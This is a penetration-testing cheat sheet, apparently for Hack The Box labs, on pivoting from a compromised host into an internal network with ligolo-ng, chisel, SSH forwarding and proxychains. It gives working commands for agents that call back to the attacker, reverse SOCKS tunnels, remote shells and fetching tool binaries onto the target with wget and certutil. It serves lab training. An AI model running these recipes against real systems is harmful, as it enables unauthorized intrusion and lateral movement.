# pivoting — tunnel through a foothold into the flat network Once one box is yours, everything it can reach becomes reachable. These wrappers print the exact tunnel recipes; then you drive scanners through them — see `cheat recon`, `cheat nxc`, `cheat impacket`. Container/VPN plumbing lives in `cheat htb`. ## Pick your tunnel - **ligolo-ng** — best when you want a *real route* (nmap `-sV`, SYN scans, no `proxychains` per command). TUN interface, no SOCKS. Reach for it first. - **chisel** — no SSH creds on the pivot? Drop a static binary, get a reverse SOCKS. `pivot-chisel`. - **ssh -D / -L / -R** — you already have SSH creds/key on the pivot. Zero upload. `pivot-ssh`. - **htb-proxy** — quick SOCKS5 *out of the Kali container itself* for your Mac browser/Burp, no target agent. ## Ligolo — the full macOS→Docker guide (STAR) - **`ligolo-setup`** — prints the whole 7-step guide (uses `$LHOST`). No args, just read it. Architecture: `macOS → Docker kali (proxy) ← target (agent)`. ``` # 1. proxy inside Docker (htb-exec): ./proxy -selfcert -laddr 0.0.0.0:11601 # 2. expose 11601 from Docker→macOS (or start container -p 11601:11601) # 3. TUN iface (inside Docker): ip tuntap add user root mode tun ligolo # ip link set ligolo up # 4. agent on target: ./agent -connect $LHOST:11601 -ignore-cert (linux) # agent.exe -connect $LHOST:11601 -ignore-cert (windows) # 5. in proxy console: session → ifconfig (note subnet) → start # 6. route the subnet: ip route add 172.16.0.0/24 dev ligolo # 7. hit it directly: nmap -sV 172.16.0.5 # no proxychains needed ``` - **Double pivot** — `listener_add --addr 0.0.0.0:11602 --to 127.0.0.1:11602` in console, then `./agent -connect 172.16.0.x:11602 -ignore-cert` on the second host. - **`listener_list`** / **`listener_stop`** — manage forwards · **`-ignore-cert`** trusts the self-signed proxy cert. ## Chisel — reverse SOCKS when you can only upload a binary (STAR) - **`pivot-chisel [port]`** — prints the recipe (port default `8001`, server binds `$LHOST`). ``` # attacker (you): chisel server --reverse -p 8001 # pivot host (connect): ./chisel client $LHOST:8001 R:socks # → SOCKS on your :1080 # then: proxychains nmap -sT -Pn # proxychains evil-winrm -i -u user -p pass # single-port forward: ./chisel client $LHOST:8001 R:8080::80 ``` - `--reverse` is what lets the client open `R:` tunnels; without it the server refuses. Add `--fingerprint` to pin the server key (loud noise reducer, not required). ## SSH — no upload needed if you hold creds (STAR) - **`pivot-ssh [internal]`** — prints dynamic/forward/reverse variants. ``` ssh -D 1080 -N user@pivot # dynamic SOCKS on :1080 → proxychains everything ssh -L 8080::80 user@pivot # pull ONE remote service to your localhost:8080 ssh -R 9001:localhost:9001 user@pivot # push YOUR service to the pivot (rev shells home) ``` | flag | meaning | |---|---| | `-D ` | dynamic SOCKS proxy — the workhorse, one tunnel for all ports | | `-L l:host:r` | local forward — bind local `l`, reach `host:r` from the pivot | | `-R r:host:l` | remote forward — bind `r` on pivot, tunnels back to your `host:l` | | `-N` | no remote command (tunnel only) · `-f` background · `-g` let others use it | ## proxychains — run any TCP tool through the SOCKS (STARS) - **`pc …`** — wrapper for `proxychains4 -q`; auto-detects `/etc/proxychains4.conf` and echoes the active proxy line. `pc nmap -sT -Pn ` · `pc evil-winrm -i -u u -p p`. - **`socks-setup `** — rewrites the `socks5 127.0.0.1 ` line in `/etc/proxychains4.conf` (sudo, keeps a `.bak`) so `pc` points at your new tunnel. Run it after every fresh tunnel on a new port. - proxychains is **TCP-only** — always `-sT` (connect scan) and `-Pn` (no ping) with nmap; ICMP/SYN/UDP won't traverse it. Slow but universal. Prefer ligolo's route when the tool supports raw sockets. ## htb-proxy — SOCKS5 straight out of the Kali container (STAR) - **`htb-proxy`** — spins up `ncat --proxy-type socks5` inside the `htb-kali` container on `:1080` (needs `htb-up` first). Point Mac browser/Burp at `SOCKS5 127.0.0.1:1080`, or `curl --socks5 127.0.0.1:1080 http://`. - **`htb-proxy stop`** — tears it down. This is for *your* traffic reaching the lab, not for pivoting through a compromised host — use ligolo/chisel for that. ## Staging binaries on the target — the arsenal Prebuilt agents live in **`~/kali/arsenal/Pivoting/`** — `ligolo-ng/` and `chisel/` each hold `linux_x64`, `linux_arm64`, `windows_x64`, `mac_arm64`, … plus `nc.exe`/`nc64.exe` and `socat`. Windows SharpChisel sits in `~/kali/arsenal/AD/sharpcollection/SharpChisel.exe`. ``` serve 80 ~/kali/arsenal/Pivoting/chisel/linux_x64 # http.server on $LHOST:80 # on target: wget http://$LHOST/chisel && chmod +x chisel # windows: certutil -urlcache -f http:///chisel.exe chisel.exe (loud) ``` > Golden path: `ligolo-setup` → route the subnet → scan direct. Fall back to `pivot-chisel` when you can't route, and reach for `pc` only for the TCP tools that route can't reach. One tunnel per subnet; label ports so a double pivot doesn't collide.